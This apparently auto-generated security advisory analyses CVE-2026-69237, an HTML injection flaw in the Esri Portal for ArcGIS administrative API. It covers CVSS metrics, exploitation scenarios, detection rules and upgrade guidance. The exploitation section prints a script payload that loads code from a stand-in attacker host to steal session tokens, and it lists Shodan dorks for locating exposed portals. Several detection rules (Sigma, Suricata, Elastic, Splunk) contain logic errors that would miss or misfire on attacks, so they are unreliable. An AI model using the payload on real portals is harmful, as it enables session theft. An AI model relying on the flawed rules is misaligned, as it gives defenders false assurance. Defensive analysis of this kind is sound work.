CVE-2026-69237

Executive Summary

CVE-2026-69237 is an HTML injection vulnerability (CWE-79) affecting Esri Portal for ArcGIS versions 11.3 and prior. A remote attacker with administrative privileges can inject arbitrary HTML into an administrative API, potentially enabling stored content injection that affects other administrative users or downstream consumers. The vulnerability carries a CVSS score of 3.8 (LOW severity), reflecting the high privilege requirement but network-based attack vector. Esri has acknowledged the issue and encourages users of ArcGIS Enterprise 11.1 and 11.3 to upgrade to the latest long-term support release; however, no verified patch evidence is available from tracked sources at this time.

Technical Analysis

The NVD description is sparse but provides sufficient classification details to analyze the vulnerability class. CVE-2026-69237 is categorized under CWE-79 (Improper Neutralization of Input During Web Page Generation, commonly known as Cross-Site Scripting or HTML injection). The vulnerability exists within the administrative API surface of Esri Portal for ArcGIS.

Vulnerability Mechanism:

The flaw allows a remote attacker with administrative privileges to insert arbitrary HTML into an administrative API. The term "HTML injection" — as distinct from classic reflected/stored XSS — indicates that the vulnerable endpoint does not adequately sanitize or neutralize HTML markup submitted through API parameters. This permits an authenticated administrator to inject <script> tags, event handler attributes (e.g., onload, onerror), or other HTML constructs that will be rendered by the application or stored and later rendered to other users.

Key Characteristics:

• Attack Vector: Network (AV:N) — the administrative API is remotely accessible.
• Attack Complexity: Low (AC:L) — no special conditions are required beyond valid administrative credentials.
• Privileges Required: High (PR:H) — an administrative account is required to reach the vulnerable functionality.
• User Interaction: None (UI:N) — the attacker does not need to trick a victim into performing an action; the injection occurs directly via API calls.
• Scope: Unchanged (S:U) — the compromise is contained within the affected Portal for ArcGIS security context.

Affected Components:

The description specifically references ArcGIS Enterprise versions 11.1 and 11.3, with "11.3 and prior" indicating the full affected range. Since Esri's product architecture integrates Portal for ArcGIS with ArcGIS Enterprise deployments, the administrative API is typically accessible via HTTPS on standard ports (defaulting to 7443 or 6443 for Portal, though the NVD description does not specify). The affected surface is the administrative REST API used for configuration and management operations.

Attack Surface Assessment:

Because the injection requires High privilege, the primary attack surface is limited to environments where administrative accounts have been compromised (e.g., via credential stuffing, phishing, or insider threat). The stored nature of the injection (implied by the HTML injection classification) could amplify impact if injected content is subsequently rendered to lower-privileged users or public-facing portal pages.

Exploitation Scenarios

No public PoC or exploit code has been identified for CVE-2026-69237. The attack chain below is inferred strictly from the vulnerability class (HTML injection in an administrative API) and CVSS metadata.

Scenario 1: Stored HTML Injection via Administrative API

1. Reconnaissance/Target Identification: The attacker identifies an exposed ArcGIS Enterprise Portal administrative endpoint. Shodan dorks such as product:"ArcGIS" or http.title:"Portal for ArcGIS" can locate internet-facing instances. The attacker also verifies the version is 11.1, 11.3, or earlier by checking login page version metadata or API responses.

2. Flaw Trigger: The attacker compromises or already possesses administrative credentials. Authentication is performed against the Portal's administrative API.

3. Payload/Execution: The attacker crafts an HTTP request to the administrative API with the HTML payload embedded in an API parameter value. The payload could be a simple <script>alert(1)</script> for proof-of-concept, or a more malicious payload such as <script src="https://attacker.example/steal.js"></script> that exfiltrates session tokens or deploys further browser-side attacks. Because the API does not sanitize HTML input, the payload is accepted and stored.

4. Post-Exploitation Impact: Any user (administrator or lower-privileged) who subsequently views the administrative console section where the injected content renders becomes a victim of the HTML injection. Impact includes session theft, UI redressing, or theft of sensitive map/geospatial data displayed in the portal.

Scenario 2: Privileged Content Defacement

1. The attacker — already an administrator — injects HTML into descriptive fields or configuration values within the administrative API.
2. The injected content is rendered on public-facing portal pages (if the API field is used in a public context).
3. The victim sees unauthorized content, potentially including malicious iframes or credential-harvesting forms, on a trusted organizational domain.

Limitations: The high privilege requirement (PR:H) means this cannot be exploited by unauthenticated remote attackers. It is not listed in CISA KEV, and there is no evidence of exploitation in the wild. As such, the realistic risk is elevated only in scenarios where administrative access is already partially compromised or gained via credential theft.

Impact Assessment

CVSS Breakdown Reference (3.8 — LOW):

• Confidentiality Impact: Low (C:L) — The attacker can potentially read sensitive data rendered in injected content, though direct data exfiltration from the server is not the primary mechanism.
• Integrity Impact: Low (I:L) — Arbitrary HTML can modify the appearance and content of administrative pages.
• Availability Impact: None (A:N) — The vulnerability does not directly affect system availability.

Business Impact:

• Geospatial Data Exposure: ArcGIS Enterprise is used by government agencies, utilities, defense organizations, and enterprises to manage sensitive geospatial data. An HTML injection that leads to session theft could expose map data, facility locations, or infrastructure details.
• Trust Degradation: Deployed injected content on administrative portals undermines trust in the organization's GIS infrastructure.
• Privilege Escalation Potential: While the initial attack requires admin privileges, successful HTML injection into a page viewed by higher-tier administrators (e.g., domain administrators) could result in broader compromise.

Blast Radius: Limited to the Portal for ArcGIS administrative interface and any downstream pages that render injected content. The attack does not directly compromise the underlying operating system or other ArcGIS Enterprise components, but session token theft could extend the impact to connected services.

Affected Systems: All ArcGIS Enterprise deployments running Portal for ArcGIS version 11.3 and earlier (including explicitly confirmed 11.1 and 11.3).

Detection Guidance

Sigma Rule

title: Esri Portal for ArcGIS HTML Injection Attempt
id: 9c6b1a3e-5f47-4c9a-9e5d-2a8b1f33e563
status: experimental
description: Detects requests to Portal for ArcGIS administrative APIs containing HTML/script payloads in parameter values
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-69237
author: valtersit.com
date: 2026/06/01
tags:
    - attack.t1190
    - cve.2026.69237
logsource:
    category: webserver
    product: iis
    definition: Web server logs for ArcGIS Enterprise Portal deployments
detection:
    selection_methods:
        cs-method:
            - 'POST'
            - 'PUT'
        cs-uri-stem|contains:
            - '/portaladmin/'
            - '/sharing/rest/'
    selection_payloads:
        cs-uri-query|contains:
            - '%3Cscript%3E'
            - '%3Cscript'
            - '<script>'
            - '%3Ciframe%3E'
            - '<script'
            - '<iframe'
    selection_user_agent|contains:
        - 'curl'
        - 'python-requests'
        - 'wget'
    condition: selection_methods and selection_payloads
falsepositives:
    - Legitimate administrative users pasting HTML code into configuration fields
    - Automated configuration management tools
level: high

YARA Rule

rule CVE_2026_69237_Portal_ArcGIS_HTML_Injection
{
    meta:
        author = "valtersit.com"
        date = "2026-06-01"
        description = "Detects HTML injection attempts targeting Esri Portal for ArcGIS administrative APIs"
        cve = "CVE-2026-69237"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2026-69237"
        severity = "low"

    strings:
        $a1 = "/portaladmin/" ascii nocase
        $a2 = "/sharing/rest/" ascii nocase
        $b1 = "<script" ascii nocase
        $b2 = "<iframe" ascii nocase
        $b3 = "<img src" ascii nocase
        $b4 = "onerror=" ascii nocase
        $b5 = "onload=" ascii nocase
        $c1 = "admin" ascii nocase
        $c2 = "updateItem" ascii nocase
        $c3 = "update" ascii nocase

    condition:
        any of ($a*) and any of ($b*) and filesize < 10MB
}

Suricata IDS Rule

alert http any any -> any any (msg:"ET WEB_SPECIFIC_APPS Esri Portal for ArcGIS HTML Injection Attempt (CVE-2026-69237)"; flow:established,to_server; content:"/portaladmin/"; http_uri; content:"<script"; http_uri; nocase; content:"<iframe"; http_uri; nocase; reference:cve,2026-69237; classtype:web-application-attack; sid:6923701; rev:1;)

Elastic Detection

sequence by source.ip
  [network where process.name == "java" and destination.port in (6443, 7443) and network.direction == "egress"]
  [any where true]
  
// Alternative: file-based detection of web server logs
any where event.category == "web" and
  (url.path contains "/portaladmin/" or url.path contains "/sharing/rest/") and
  (url.query contains "%3Cscript" or url.query contains "<script" or
   request.body contains "<script" or request.body contains "<iframe")

Splunk SPL Query

index=web sourcetype=access_combined
| where (uri_path="/portaladmin/*" OR uri_path="/sharing/rest/*") 
    AND (uri_query LIKE "%3Cscript%" OR uri_query LIKE "%3Ciframe%" 
        OR uri_query LIKE "%3Cimg%" OR http_user_agent IN ("curl*", "python-requests*", "wget*"))
| table _time, src_ip, dest_ip, method, uri_path, uri_query, status, http_user_agent
| sort - _time
| stats count by src_ip, uri_path

Wazuh OSSEC Rule

<group name="web_application,">
  <rule id="692370" level="10">
    <if_sid>31100</if_sid>
    <match>portaladmin|sharing/rest</match>
    <regex>(\%3C|<)script|(\%3C|<)iframe|(\%3C|<)img</regex>
    <description>Possible HTML injection attempt against Esri Portal for ArcGIS (CVE-2026-69237)</description>
    <mitre>
      <id>T1190</id>
    </mitre>
    <group>web_application,attack,</group>
  </rule>
</group>

Mitigation & Patch Guidance

Patch Status: CVE-2026-69237 has Patch Confidence 0/4 — UNPATCHED. No verified patch evidence exists from any tracked source as of the analysis date. The vendor's recommendation, per the NVD description, is to upgrade to the latest long-term support (LTS) release of ArcGIS Enterprise.

Immediate Mitigations (Compensating Controls):

1. Restrict Administrative API Access: Configure network-level access controls (firewall rules, security groups) to limit access to the Portal for ArcGIS administrative API (typically ports 7443/6443) to trusted administrative IP ranges only. Do not expose these endpoints to the internet.
2. Enforce Multi-Factor Authentication (MFA): Administering accounts is a prerequisite for exploitation (PR:H). Enforce MFA to reduce the likelihood of credential compromise leading to an attacker achieving administrative access.
3. Monitor Administrative Activity: Deploy the detection rules above and alert on anomalous administrative API usage, especially requests containing HTML tags in parameters.
4. Web Application Firewall (WAF) Rules: Deploy WAF rules to block HTML tags (<script>, <iframe>, <object>, etc.) in POST/PUT parameters to /portaladmin/ and /sharing/rest/ endpoints.

Patch/Upgrade Steps:

1. Track Esri's security advisory page and support portal for the official advisory and patch release for CVE-2026-69237. Based on the vendor guidance, plan an upgrade of ArcGIS Enterprise to the latest LTS release (above 11.3).
2. Before upgrading, validate current version via the Portal for ArcGIS administrative API or the ArcGIS Enterprise deployment settings.
3. Test the upgrade in a staging environment that mirrors production, including custom web adaptors, identity providers, and GIS services.
4. Schedule the production upgrade during a maintenance window, accounting for downtime of GIS services.
5. After upgrade, verify Portal for ArcGIS version and confirm that administrative API fields now sanitize HTML input.

Long-Term Hardening:

• Establish a policy for regular ArcGIS Enterprise version patching — the vendor's LTS cadence should align with your organization's change management cycle.
• Segment the GIS infrastructure from general corporate networks; the administrative tier should be least-privilege access.
• Conduct periodic audits of administrative accounts in Portal for ArcGIS, removing dormant accounts.
• Integrate ArcGIS Enterprise logs (Portal logs, Web Adaptor logs, IIS logs) into the enterprise SIEM for continuous monitoring.
• If HTML injection pages are used for internal communication/configuration (e.g., portal home page, gallery descriptions), review and sanitize existing content for historical injections.

References

1. NVD Entry: https://nvd.nist.gov/vuln/detail/CVE-2026-69237 — Official NVD record containing the description, CVSS vector (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:L/I:L/A:N), and CWE-79 classification.
2. Esri Product Security Page: https://www.esri.com/en-us/arcgis/products/overview — Esri's general product security guidance and advisory indexing (monitor for the official advisory).
3. Esri ArcGIS Enterprise Documentation: https://doc.arcgis.com/en/arcgis-enterprise/ — Official documentation for version verification, upgrade paths, and administrative API reference.
4. CISA Known Exploited Vulnerabilities Catalog: https://www.cisa.gov/known-exploited-vulnerabilities-catalog — CVE-2026-69237 is NOT listed (as of analysis date); no known exploitation in the wild has been reported.
5. FIRST.org EPSS: https://www.first.org/epss/ — EPSS score not yet assigned; monitor for future scoring.

Threat Actor Campaigns / Exploit-in-the-Wild Evidence: No known threat actor campaigns or exploitation-in-the-wild evidence has been identified for CVE-2026-69237 as of this report. The vulnerability requires high privileges, and no PoC or exploit code is publicly available. The primary risk vector is credential compromise or insider threat scenarios where administrative access has already been achieved. Continuous monitoring of vendor advisories and security research channels is recommended given the "UNPATCHED" status.